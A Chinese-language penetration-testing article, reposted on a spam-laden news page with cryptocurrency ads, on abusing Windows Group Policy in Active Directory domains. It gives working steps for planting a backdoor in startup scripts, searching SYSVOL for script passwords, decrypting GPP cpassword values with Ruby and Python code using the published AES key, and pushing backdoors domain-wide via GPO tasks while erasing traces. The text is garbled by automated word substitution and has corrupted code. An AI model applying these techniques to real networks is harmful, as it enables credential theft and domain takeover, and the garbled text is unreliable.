鹰潭新闻网

usdt法币交易平台(www.payusdt.vip):浅谈域渗透中的组战略及gpp运用

来源:鹰潭信息网 发布时间:2021-05-08 浏览次数:

IPFS矿机挖矿

IPFS矿机挖矿官网(www.ipfs8.vip)是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。IPFS官网实时更新FiLecoin(FIL)行情、当前FiLecoin(FIL)矿池、FiLecoin(FIL)收益数据、各类FiLecoin(FIL)矿机出售信息。并开放FiLecoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

  • 0x0 前言

最近在实战历程中遇到了组战略,发现攻击面实在挺宽阔的,这里纪录下自己的剖析和学习历程

  • 0x1 组战略的熟悉

组战略(英语:Group Policy)是微软Windows NT家族操作系统的一个特征,它可以控制用户帐户和盘算机帐户的事情环境。组战略提供了操作系统、应用程序和流动目录中用户设置的集中化治理和设置。组战略的其中一个版本名为内陆组战略(缩写“LGPO”或“LocalGPO”),这可以在自力且非域的盘算机上治理组战略工具。

通过使用组战略,你可以设置战略设置一次,然后将该设置复制到多台盘算机上。 例如,你可以在链接到域的 GPO 中设置多个 Internet Explorer11 平安设置,然后将所有这些设置应用到域中的每台盘算机。

凭证作用局限差异组战略可划分为多种,而且拥有自己的执行顺序和继续原则。

0x1.1 密码的难题

每台Windows主机有一个内置的Administrator账户以及相关联的密码。大多数组织机构为了平安,可能都市要求更改密码,虽然这种方式的效果并不尽如人意。尺度的做法是行使组战略去批量设置事情站的内陆Administrator密码。然则这样又会泛起另一个问题,那就是所有的电脑都市有相同的内陆Administrator密码。也就是说,若是获取了一个系统的Administrator认证凭证,黑客就可以获取他们所有机械的治理权限。

0x1.2 SYSVOL

解决设施之一是为认证数据接纳SYSVOL,SYSVOL是AD(流动目录)内里一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包罗登录剧本,组战略数据,以及其他域控所需要的域数据,这是由于SYSVOL能在所有域控里举行自动同步和共享。

所有的域组战略存储在:

<domain>SYSVOL<domain>Policies</domain></domain>

0x1.3 SYSVOL里的认证

在windows电脑中,治理需要花心思去保证内陆Administrator账户(RID 500)。传统的做法(除了购置平安产物),是使用一个自界说的剧本去更改内陆Administrator的密码。这样就会泛起一个问题,密码一定会明文存储在SYSVOL的剧本里(好比vbs文件)。好比黑客需要征接纳来更改内陆Administrator密码的VBS剧本,该vbs剧本在Microsoft TechNet gallery上,密码为可见的。这个剧本存在SYSVOL里,每个域用户都有读的权限,且该密码是每台电脑组战略应用的内陆Administrator密码。

0x1.4 组战略偏好GPP

在2006年,微软收购了桌面尺度的“PolicyMaker”,并重新借此与win2008宣布了GPP(组战略偏好)。其中GPP最有用的特征,是在某些场景存储和使用凭证,其中包罗:

复制代码
映射驱动(Drives.xml)
确立内陆用户
数据源(DataSources.xml)
打印机设置(Printers.xml)
确立/更新服务(Services.xml)
设计义务(ScheduledTasks.xml)
更改内陆Administrator密码
复制代码

这对治理员异常有用,由于GPP提供了一个自动化机制,可以作为急需的解决方案(好比剧本)给他们。它提供了有用的方式,行使显式凭证连系组战略部署了设计义务,一次性批量更改了电脑的内陆治理的密码,也许这就是最受迎接的行使场景吧。

0x1.5 GPP中存储的凭证

然而现在有个问题,凭证数据应该怎样珍爱?

当治理确立了一个新的GPP时,SYSVOL里有一个XML文件提供了相关设置数据。若是内里提供了密码的话,那应该就是AES-256加密,看起来这加密似乎是够强力了。

然而除了在2012年前的某些点外,微软在MSDN上宣布了AES的私钥,它可以用来解密这种密码。由于认证用户(所有域用户或者信托域里的用户)对SYSVOL拥有读权限。在域里的任何用户可以搜索SYSVOL共享中的带有cpassword字样的XML文件,内里包罗了AES加密的密码。

  • 0x2 组战略的分类

0x2.1 内陆组战略(LGP)

内陆组战略(Local Group Policy,缩写LGP或LocalGPO)是组战略的基础版本,它面向自力且非域的盘算机。至少Windows XP家庭版中它就已经存在,而且可以应用到域盘算机。在Windows Vista以前,LGP可以强制施行组战略工具到单台内陆皮算机,但不能将战略应用到用户或组。从Windows Vista最先,LGP允许内陆组战略治理单个用户和组,并允许使用“GPO Packs”在自力盘算机之间备份、导入和导出组战略——组战略容器包罗导入战略到目的盘算机的所需文件。

这里演示下行使内陆组战略来加载我们的后门程序

这里我直接用CS天生一个window的后门shell.exe

最先->运行->键入"gpedit.msc"->内陆组战略编辑器->window设置(system)->剧本->启动->属性

点击显示文件:

C:WindowsSystem32GroupPolicyMachineScriptsStartup

把我们的后门程序复制到这个路径,然后这个剧本开机就会自动加载执行了

当我们重新启动的时刻,发现直接以system权限加载了我们的程序

用ps1剧本上线同理,也是拿到了一个system权限

0x2.2 域组战略

当机械安装了域环境的时刻,系统治理工具会多出一个功效(组战略治理),通过它,域治理员能够很利便统一地对域内的机械和用户举行统一治理。

域治理员经常会晤对一个这样的问题,域成员机子的默认内陆治理员密码过于简朴,想举行批量修改的时刻,这个时刻就可以行使组战略来举行义务的批量下发。

1.通过在域中下发脚原本执行
2.在组战略首选项GPP中举行设置
3.内陆治理员密码解决方案:LAPS(不细说这个内容,这是解决这个问题很好的方案)

首先我们需要领会下AD域中两个默认的共享文件夹:SYSVOL NETLOGON

NETLOGON目录

挂载点:SYSVOLdomainSCRIPTS 主要存放的是一些剧本信息,是AD流动目录安装时刻自动确立的,是在sysvol下面的一个子目录文件夹

SYSVOL目录

SYSVOL目录是AD域中的一个共享文件夹,该文件夹在AD流动目录安装时刻被确立。通常用来存放组战略数据 和 一些剧本 设置文件,这些战略和剧本将用于转达给域成员机械。

此外,域控机械之间由于要自动同步域数据,SYSVOL文档允许该域内的所有DC机之间举行复制,而且所有的AD用户都可以接见它

在域中,用户登录(盘算机)时,会首先在SYSVOL文件查找GPO和启动剧本。同时,为了保证系统的正常运行,必须为SYSVOL保留足够的空间缓存,而且不能随意删除、改动该文件夹,要否则会泛起一些组战略无法启用等报错信息

该目录由于针对的是域内所有机械和用户,以是域内中的正当用户均可以接见和执行该目录的文件。(通俗的域用户也可以)

若是更改权限,这个地方会显示拒绝接见

GPO

组战略工具,GPO(Group Policy Object),现实上就是组战略设置的聚集。

你可以用GPO来存储差其余组战略信息,然后作用在指定OU或者指定作用局限施展作用。

默认安装完AD之后,系统默认会存在两个组战略工具

Default Domain Policy

唯一ID(GUID):{31B2F340-016D-11D2-945F-00C04FB984F9} (都是相同的)

默认域战略

Windows Server 2008 creates a Default Domain Policy GPO for every domain in the forest. This domain is the primary method used to set some security-related policies such as password expiration and account lockout.

存放的路径:

C:WindowsSYSVOLsysvoltest1.localPolicies{31B2F340-016D-11D2-945F-00C04FB984F9}

Default Domain Controllers Policy

唯一ID(GUID):{6AC1786C-016F-11D2-945F- 00C04FB984F9} (都是相同的)

默认域控制器战略

治理目的“Domain Controllers”容器,影响“Domain Controllers”容器中的域控制器,域控制器账户单独保留在该容器中。

不难看到这个GPO作用的局限是DC这个OU,响应的执行优先级如下图

GPP

,

USDT线上交易

U交所(www.payusdt.vip),全球頂尖的USDT場外擔保交易平臺。

,

我们可以看到GPP内里自界说了许多操作,好比内陆用户和组的密码控制、设计义务等

在GPP泛起之前,许多统一治理的操作只能通过脚原本实现,而GPP利便和简化了这样的治理,GPP你可以将其明白为一个功效点,作用是简朴化、规范化组战略的宣布和使用

0x2.3 域组战略的行使

0x2.3.1 读取剧本中密码

这里我用一个例子来说明,域组战略是怎么加载剧本作用到域内机械的

strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "123QWEQWE!@,"
objUser.SetInfo

这里我们保留这个剧本为cpass.vbs,这个剧本的作用那就是修改内陆治理员账户的密码为

123QWEQWE!@,

这里我直接在域战略的GPO下面直接用脚原本下发这个剧本

这里为了演示效果,我们在域用户机械上举行强制更新组战略

gpupdate /force

我们可以在域用户中通过搜索剧本文件好比.vbs .bat来找到

搜索SYSVOL的下的剧本下令

shell for /r \dc/sysvol %i in (*.vbs) do @echo %i
shell for /r \dc/sysvol %i in (*.bat) do @echo %i

0x2.3.2 GPP破绽的行使

GPP破绽只在2008没打补丁版本上存在,跨越2008版本的系统是没设施写入密码的。

这个破绽的发生缘故原由是 使用了GPP功效,若是输入了用户的密码的话,那么密码就会以AES 256加密的形式存储在SYSVOL文件夹下的以XML后缀末尾的xml文件中,这个密码的加密密钥由微软官方给出可以举行解密,然则若是打补丁或者高版本的话,GPP服务是不能输入密码的了,这个破绽也就响应不存在了。

输入密码项是被禁用的

下面我们来演示下怎么在CS下获取到GPP泄露的密码:

这里我们在dc2008新建一个OU组: GPPVuln

然后在该OU上,我们新建个使用了GPP的内陆用户密码的战略

获取到该GPO的ID:{A7797762-FD8F-4B74-803E-BAE362BCC905}

然后我们凭证该ID去SYSVOL搜索即可获得该目录下的文件

C:WindowsSYSVOLsysvoltest1.localPolicies{A7797762-FD8F-4B74-803E-BAE362BCC905}MachinePreferencesGroups

可以看到在该Groups目录下的xml文件立马就可以看到我们设置gpptest用户名对应的加密的密码HtReckysr1Y4zM8/Mwe9TN4Fbi2L8JU3/PvW9NffrA0

这个密码的解密方式有许多种,这里给出最常用的两种:

1.RUBY的一个剧本gppdecrypt.rb

require 'rubygems'

require 'openssl'

require 'base64'





encrypted_data = ARGV



def decrypt(encrypted_data)

padding = "=" * (4 - (encrypted_data.length % 4))

epassword = ",{encrypted_data},{padding}"

decoded = Base64.decode64(epassword)



key = "x4ex99x06xe8xfcxb6x6cxc9xfaxf4x93x10x62x0fxfexe8xf4x96xe8x06xccx05x79x90x20x9bx09xa4x33xb6x6cx1b"

aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")

aes.decrypt

aes.key = key

plaintext = aes.update(decoded)

plaintext << aes.final

pass = plaintext.unpack('v*').pack('C*') , UNICODE conversion



return pass

end



blah = decrypt(encrypted_data)

puts blah

2.Gppprefdecrypt.py

,!/usr/bin/python

, Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.

, This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.


import sys
from Crypto.Cipher import AES
from base64 import b64decode


, Init the key
, From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be(v=PROT.13),endNote2
key = """
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
""".replace(" ","").replace("n","").decode('hex')

, Add padding to the base64 string and decode it
cpassword = "HtReckysr1Y4zM8/Mwe9TN4Fbi2L8JU3/PvW9NffrA0"
cpassword  = "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)

, Decrypt the password
o = AES.new(key, AES.MODE_CBC, "x00" * 16).decrypt(password)

, Print it
print o[:-ord(o[-1])].decode('utf16')

演示效果如下:

解密如下

我们也要关注该目录下的其他XML文件

ServicesServices.xml

ScheduledTasksScheduledTasks.xml

PrintersPrinters.xml

DrivesDrives.xml

DataSourcesDataSources.xml

这里不仅仅是修改内陆用户密码这个GPP存在,好比设计义务等需要写入用户密码xml文件都可能存在这个问题

1.下令行下搜索

dir /s /a DCSYSVOL*.xml

2.Get-GPPPassword.ps1的使用

使用powershell-import 导入Get-GPPPassword.ps1

powershell Get-GPPPassword 加载该函数

这个powershell剧本会自动遍历SYSVOL下的敏感文件,而且将密码解密

3.针对性用户查找,这里我们可以使用powerview

我们在指定的GPPVuln这个OU中添加个账户

下面我们演示若何在域中凭证该用户名称来举行针对性的GPP搜索

简朴的信息网络:

1.查看域内共享

powershell get-domaincomputer|get-netshare

2.查看域用户信息

powershell Get-DomainUser -identity gpptest

可以看到该用户属于GPPVuln的OU组

3.查看OU组信息

powershell Get-DomainOU -identity GPPVuln

发现有个GPO的link链接信息,然后我们凭证这个GPUD去响应的文件夹举行搜索就可以了

0x2.3.3 后门行使
这个后门的行使的条件是我们已经拿下了域控的权限。

通过GPO我们可以指定控制OU下的所有用户,好比批量下发木马或者举行其他操作。

1.直接的方式

好比简朴和暴力的方式,就是直接将我们的木马当成剧本放在域战略或者自己新建个GPO然后在启动|关闭中放入我们的木马,然后将该GPO链接到你想搞的OU下,这样就可以实现定向袭击,这种感受对照显著吧,很容易就可以排查出来了。

2.设计义务实现远程执行

这种方式能够根据时间准时的网络信息,相对来说对照隐藏。

这里演示下若何使用New-GPOImmediateTask.ps1

1.导入powershell中治理GPO的模块&确立一个作用整个域的GPO

Import-Module GroupPolicy –verbose

2.执行剧本添加设计义务

New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\dcsysvoltest1.local' -CommandArguments '-c "123 | Out-File C:testdebug.txt"'

3.强制更新组战略,或者默认守候90分组守候组战略强制更新

Invoke-GPUpdate -Computer "TESTCOMPUTER-01"

4.整理痕迹

Remove-GPO -Name TestGPO
  • 0x03 后记

这是我在一个实战域环境内用冰蝎上马后查看gpp共享,然则似乎他这个文件夹内里没有放bat

以是并不是每一个域环境内的情形都是一样的,这里只是给师傅们提供个思绪

总体来说,共享组战略目录是域中最容易泛起密码的地方,一样平常治理员会把一些bat剧本放在内里用来重置域内客户机械内陆的administrator的密码,以是当我们进入内网之后若是遇到横向不动的情形,就可以查看一下gpp,查看共享组战略目录中是否存在密码

发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片